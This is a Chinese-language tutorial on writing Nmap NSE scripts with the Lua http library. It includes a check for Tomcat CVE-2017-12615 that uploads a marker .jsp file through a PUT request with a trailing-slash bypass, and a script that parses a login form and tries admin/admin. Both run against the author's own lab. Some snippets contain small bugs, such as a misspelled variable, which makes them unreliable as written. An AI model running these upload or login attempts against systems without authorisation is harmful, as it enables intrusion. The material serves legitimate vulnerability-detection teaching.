Nmap扩展开发(四)

栏目: 编程工具 · 发布时间: 5年前

内容简介:一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等

0x01 HTTP包的使用

一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。

0x02 基础概念铺垫

首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:

  • 响应表

响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等

|   Response: 
|     status: 200
|     header: 
|       content-length: 0
|       allow: POST,OPTIONS,HEAD,GET
|       connection: close
|       content-type: text/html
|       server: Apache/2.4.29 (Debian)
|       date: Fri, 06 Jul 2018 07:02:13 GMT
|     ssl: false
|     body: 
|     cookies: 
| 
|     status-line: HTTP/1.1 200 OK\x0D
| 
|     rawheader: 
|       Date: Fri, 06 Jul 2018 07:02:13 GMT
|       Server: Apache/2.4.29 (Debian)
|       Allow: POST,OPTIONS,HEAD,GET
|       Content-Length: 0
|       Connection: close
|       Content-Type: text/html
|       
|_    version: 1.1
  • Options表

Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向

{
timeout:
header:{"Content-Type":"",...},
cookies:{\{"name","value","path"\},...},
auth:{username:"",password:""},
bypass_cache:true,
no_cache:true,
no_cache_body:true,
any_af:true,
redirect_ok:true
}

0x03 确认目标主机的HTTP服务是否支持HEAD

  • 引入HTTP包:

local http = require "http"

  • 确认目标主机的HTTP服务是否支持HEAD

这里主要使用can_use_head函数,参数有4个,函数原型如下:

local status,header = can_use_head(host,port,result_404,path)

参数说明:

  • host : host表
  • port : port表
  • result_404 : 由identify_404函数确认当前Web服务器是否设置了404页面且返回200状态码,一般情况下填写404或者nil。
  • path : 请求路径,默认为“/”根目录
  • 其中status是一个布尔值,如果返回true则支持HEAD,返回false则不支持
  • header是HEAD请求的结果。

需求:确认目标主机是否支持HEAD,如果支持则输出响应头

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80) then
		return true
	end
	return false
end
action = function(host,port)
	local result
	local status = false
	status,result = http.can_use_head(host,port,404,"/")
	if(status) then
		http_info = stdnse.output_table()
		http_info.header = result.header
		http_info.version = result.version
		return http_info
	end
end
postrule=function()
end

代码解读:

看完代码读者可能会有疑问,hostrule函数为什么返回false?

在hostrule中返回false是因为如果是true会自动调用action,此时port的值是nil,所以会抛出一些错误。

紧接着就是将端口号为80的host和port交给action函数执行,调用can_use_head函数,判断status是否为true,是true则支持HEAD方法请求。最后生成一个output_table,用来将响应内容填入这个表,以便于格式化显示。

Nmap扩展开发(四)

如果只想取得目标主机响应的server,我们可以这样写:

……
action = function(host,port)
	local result
	local status = false
	status,result = http.can_use_head(host,port,302,"/")
	if(status) then
		http_info = stdnse.output_table()
		http_info.header = result.header
		http_info.version = result.version
		http_info.server = result.header["server"]
		return http_info
	end
end
……

执行结果如下:

Nmap扩展开发(四)

0x04 发送一个HTTP请求

generic_request 是一个最基本的发送HTTP请求的函数,参数有以下几个:

  • host : host表
  • port : port 表
  • method : HTTP方法,例如:GET、POST、HEAD…
  • path : 请求路径,默认是根路径“/”
  • options : 用于设置请求相关的Cookie、超时时间、header

例如:

发送一个OPTIONS请求,来获取目标服务支持哪些HTTP方法

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80) then
		return true
	end
	return false
end
action = function(host,port)
	local result = http.generic_request(host,port,"OPTIONS","/",nil)
	if(result.status == 200)then
		local allow_method = stdnse.output_table()
		allow_method.allowMethods = result.header["allow"]
		return allow_method
	end
end
postrule=function()
end

执行结果如下:

Nmap扩展开发(四)

  • 返回值:

该函数返回一个响应表,具体可参考前面的0X02响应表

0x04 发送一个GET请求

get函数也是基于generic_request函数的,具体可以去看nselib/http.lua源代码,该函数有以下参数:

  • host : host表
  • port : port 表
  • path : 请求路径,默认是根路径“/”
  • options : 用于设置请求相关的Cookie、超时时间、header

除了比generic_request函数中少了一个method参数,其他相同。

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80) then
		return true
	end
	return false
end
action = function(host,port)
	local result = http.get(host,port,"/nmap")
	if(result.status == 404)then
		local status = stdnse.output_table()
		status.response_line = result["status-line"]
		return status
	end
end
postrule=function()
end

执行结果:

Nmap扩展开发(四)

  • 返回值:

该函数返回一个响应表,具体可参考前面的0X02响应表

0x05 发送一个POST请求

post函数也是基于generic_request函数的,具体可以去看nselib/http.lua源代码,该函数有以下参数:

  • host : host表
  • port : port 表
  • path : 请求路径,默认是根路径“/”
  • options : 用于设置请求相关的Cookie、超时时间、header
  • ignored : 是否忽略向后兼容性
  • postdata : post提交数据,可以是一个表,也可以是一个字符串,具体形式如下:
username=admin&password=admin
-- 或者:
local data = {}
data.username = "admin"
data.password = "admin"

尝试使用账号密码登录某个系统

php 脚本语言写一个简单登录判断的页面:

<?php
if(isset($_POST["username"]) && isset($_POST["password"]))
{
	$username = $_POST["username"];
	$password = $_POST["password"];
	if($username == "admin" && $password == "admin"){
		echo "login success !";
	}else{
		echo "login failed !";
	}
}else{
	echo "please login !";
}
?>

通过post函数提交username与password,然后获取body判断是否登录成功

……
action = function(host,port)
	local cert = {}
	cert.username="admin"
	cert.password="admin"
	local result = http.post(host,port,"/index.php",nil,true,cert)
	if(result.status == 200)then
		local status = stdnse.output_table()
		status.response_line = result["body"]
		return status
	end
end
……

执行结果:

Nmap扩展开发(四)

  • 返回值:

该函数返回一个响应表,具体可参考前面的0X02响应表

0X06 编写一个检测CVE-2017-12615的脚本

为了检验读者对之前的内容是否有所收获,所以产生一个需求,编写一个针对CVE-2017-12615的漏洞检测脚本。首先我们需要了解这个漏洞:

编写CVE-2017-12615的漏洞检测脚本

攻击者可以利用这个漏洞,向目标服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

漏洞的利用方式是通过PUT请求,这让我们不得不学习一个新的函数——put函数,它的参数类似于post函数。

  • host : host表
  • port : port 表
  • path : 请求路径,默认是根路径“/”
  • options : 用于设置请求相关的Cookie、超时时间、header
  • putdata : 要上传的文件的内容

这里我使用 Docker 已经搭建好了一个Tomcat环境:

Nmap扩展开发(四)

编写的脚本如下:

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end

portrule=function(host,port)
	local ports = {80,8080,8090,8899}
	for i in pairs(ports)do
		if(port.number == ports[i])then
			return true
		end
	end
end


action = function(host,port)
	local shell_name = string.format("/%d.jsp","/",math.random(9999))
	local status = stdnse.output_table()
	local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615")
	if(put_rsp.status == 201)then
		status.shell_name = shell_name
		return status
	end
	return false
end
postrule=function()
end

在action函数中,首先生成一个随机的文件名,然后发送PUT请求,判断响应码是否是201。注意,发送PUT请求的时候,文件扩展名后门必须带”/”,是为了绕过tomcat的检测。

执行结果:

Nmap扩展开发(四)

使用浏览器访问:

Nmap扩展开发(四)

发现CVE-2017-12615这个字符,证明该漏洞的确存在。

0x07 响应内容匹配

当我们需要对HTTP响应内容进行操作的时候,需要学习一些字符串操作函数、HTTP包内的函数。

  • response_contains函数,用于在响应表中匹配字符串,参数如下:
  • response : 响应表,可以是(http.get、http.post、http. pipeline_go、http.head等函数的返回值)
  • pattern : 字符串匹配模式,可参考 lua 手册
  • case_sensitive : 是否区分大小写,默认值为false,不区分

返回值:

  • match_state : 匹配成功为true,匹配失败为false
  • matchs : 返回一个匹配结果表,前提是match_state为true

了解了这个函数后,我们可以继续将CVE-2017-12615漏洞检测脚本进一步的优化,让脚本判断写入了jsp文件后,判断是否是我们写入的字符串。这样能够使检测脚本的准确度大大提高,下面请看我在action函数中写入的新代码:

……
action = function(host,port)
	local shell_name = string.format("%sCVE-2017-12615-CHECK-%d.jsp","/",math.random(9999))
	local status = stdnse.output_table()
	local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615")
	if(put_rsp.status == 201)then
		status.shell_name = shell_name
		local response = http.get(host,port,shell_name)
		if(response and http.response_contains(response,"CVE%-2017%-12615") )then
			return status
		end
		return false
	end
	return false
end
……

脚本执行结果与上一节中的内容相同,只是多了一次GET请求,为了让读者真正理解这个脚本的执行过程,下面对比一下wireshark流量:

  • 优化前:

Nmap扩展开发(四)

首先脚本直接向80端口发送了一个PUT请求,然后服务器响应405,漏洞利用失败。

紧接着脚本又请求了8080端口,服务器响应201,证明漏洞利用成功。

Nmap扩展开发(四)

  • 优化后:

Nmap扩展开发(四)

通过向8080端口发送PUT请求成功利用后,又向写入文件发送了一次GET请求,获取响应内容,进行字符串匹配,达到更加深度的验证漏洞是否利用成功。

0x08 并发HTTP请求

这里说的并发HTTP请求的原理是与目标主机建立一个socket,在每一次发送报文后都不会断开(除了最后一次请求)。平常我们在扩展脚本中调用一个http.get函数,将会返回一个响应表,代表已经获取了目标主机的响应报文,当返回响应表之前就已经与目标主机断开了连接。下一次调用http.get时,还需要进行一次建立连接的过程,导致我们会消耗一定的时间。如果一个扩展脚本需要发送多次请求,可以考虑使用http.pipeline_add与http.pipline_go配合使用。

下面就来介绍这两个函数如何配合使用:

http.pipeline_add参数如下:

  • path : 请求路径
  • options : 用于设置请求相关的Cookie、超时时间、header
  • all_requests : (可选值),如果是第一次调用,则为nil,若不是第一次调用,需要传入上一次http.pipeline_add的返回值
  • method : HTTP方法(GET、POST、HEAD、PUT等),默认为GET

返回值:

  • 一个请求表
|   
|     path: 
|     options: 
|       header: 
|         Connection: keep-alive
|_    method: GET

可以有多个,下标从1开始,如果需要查看这个请求列表的结构,可以直接在action函数中return出http.pipeline_add的返回值,代码演示如下:

……
action = function(host,port)
	local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET")
	all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET")
	return all_requests
end
……

执行结果:

Nmap扩展开发(四)

因为调用了两次http.pipeline_add,所以会产生两个请求列表队列元素,如果只想获取第一个请求队列元素,可以return all_requests[1]。

下面我们要开始将队列交给http.pipeline_go函数,由它来完成所有请求,函数参数如下:

  • host : host表
  • port : port 表
  • all_requests : 由http.pipeline_add函数装在好的请求列表

返回值:

  • response_list : 响应列表

示例代码:

……
action = function(host,port)
	local status_lines = stdnse.output_table()
	local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET")
	all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET")
	local all_response = http.pipeline_go(host,port,all_requests)
	for i,resp in ipairs(all_response)do
		status_lines[i] = resp["status-line"]
	end
	return status_lines
end
……

这段代码中添加了两个请求队列元素,分别是:

  • /index.jsp
  • /docs/changelog.html

将队列交给http.pipeline_go函数后,返回一个响应列表,all_response[1]对应index.jsp的响应表,all_response[2]对应/docs/changelog.html的响应表。因此可以使用迭代,将每个请求的某个字段放入一个输出表里,本次示例是取得了两次请求队status-line。

执行结果:

Nmap扩展开发(四)

0x09 表单操作

关于表单操作,在爬虫、漏洞扫描、爆破时用的较多,一般要先取回目标主机的响应body,然后字符串匹配获得表单结构。但是这些操作在Nmap中已经提供了一些方法,接下来就让我们一起学习http包中的表单操作函数吧。

http.grab_forms 用于在响应内容中查找表单,并返回一个form_list表,参数如下:

  • body : 响应表中的body

返回值:

  • form_list : 表单列表

获取页面中的表单列表

我使用apache和php搭建了一个简单的登录界面,尝试通过nmap的扩展脚本来获取表单列表。

Nmap扩展开发(四)

查看一下HTML源码:

Nmap扩展开发(四)

可以发现页面中这个表单是提交到index.php的,并且提供了两个输入值,分别是username和password,这种情况下我们完全可以采用lua的字符串匹配模式获得input的name,但是如果页面上有很多表单,这就会增加我们处理数据的压力。

我们来试试http.grab_forms函数:

local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80)then
		return true
	end
end
action = function(host,port)
	local response = http.get(host,port,"/index.php")
	local login_forms = http.grab_forms(response.body)
	return login_forms
end
postrule=function()
end

因为http.grab_forms函数接收的是响应表的body,所以需要调用http.get函数将响应表取到,再把响应表的body传递进去。

执行结果:

Nmap扩展开发(四)

目前是获得了一个登录表单,注意:返回的是一个表单列表,而不是只能获得一个表单,在登录页面中新添加一个表单后:

Nmap扩展开发(四)

再执行脚本观察一下:

Nmap扩展开发(四)

如果还想进一步获得input的name值,就要学习另外一个函数—— http. parse_form

参数如下:

  • form : 表单的明文

返回值:

  • 一个带键的表,分别有:action、method、fields

示例:

| test: 
|   action: /index.php
|   method: post
|   fields: 
|     
|       type: text
|       value: test
|       name: username
|     
|       type: text
|       value: test
|_      name: password

注意:fields是一个table,不是一个字符串,里面有表单的多个字段

需求:爬取页面表单,并尝试登录

当前页面有两个表单,先尝试一个表单来登录,整体步骤如下:

  1. 抓取表单
  2. 解析表单
  3. 拼接字段
  4. 登录
  5. 判断是否登录成功
action = function(host,port)
	local login_table = {}
	local response = http.get(host,port,"/index.php")
	local login_forms = http.grab_forms(response.body)
	local form = http.parse_form(login_forms[1])
	for i,name in ipairs(form.fields)do
		login_table[form.fields[i].name]="admin"
	end
	local login_response = http.post(host,port,"/index.php",nil,nil,login_table)
	if(http.response_contains(login_response,"success"))then
		login_table.login_status = true
		return login_table
	end
	login_tabke.login_status = false
	return login_table
end

本段代码首先获取index.php的响应表,通过http.grab_forms函数获得登录,将返回值(第一个表单)交给http.parse_from,取得表单fields(字段),然后遍历每一个字段的name,把它填入一个table,最后执行http.post函数,刚好http.post的data可以是一个table也可以是一个字符串。请求完毕后得到登录的响应结果,再由http.response_contains判断是否登录成功,登录成功会出现success字样提示。

为了解决疑惑,我贴出index.php的源代码:

<!DOCTYPE html>
<html>
<body>
<?php
if(isset($_POST["username"]) && isset($_POST["password"]))
{
	$username = $_POST["username"];
	$password = $_POST["password"];
	if($username == "admin" && $password == "admin"){
		echo "login success !";
	
	}else{
		echo "login failed !";
	
	}

}else{
	echo "please login !";

}

?>
<hr/>
<form action="/index.php" method="post">
username:<br>
<input type="text" name="username" value="test">
<br>
password:<br>
<input type="text" name="password" value="test">
<br><br>
<input type="submit" value="Submit">
</form>
……
</body>
</html>

下一章:DNS包的使用

正向解析、反向解析、发送DNS请求等


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Spring Boot实战

Spring Boot实战

[美]克雷格·沃斯 / 丁雪丰 / 人民邮电出版社 / 2016-9 / 59.00元

本书以Spring应用程序开发为中心,全面讲解如何运用Spring Boot提高效率,使应用程序的开发和管理更加轻松有趣。作者行文亲切流畅,以大量示例讲解了Spring Boot在各类情境中的应用,内容涵盖起步依赖、Spring Boot CLI、Groovy、Grails、Actuator。对于Spring Boot开发应用中较为繁琐的内容,附录奉上整理完毕的表格,一目了然,方便读者查阅。一起来看看 《Spring Boot实战》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具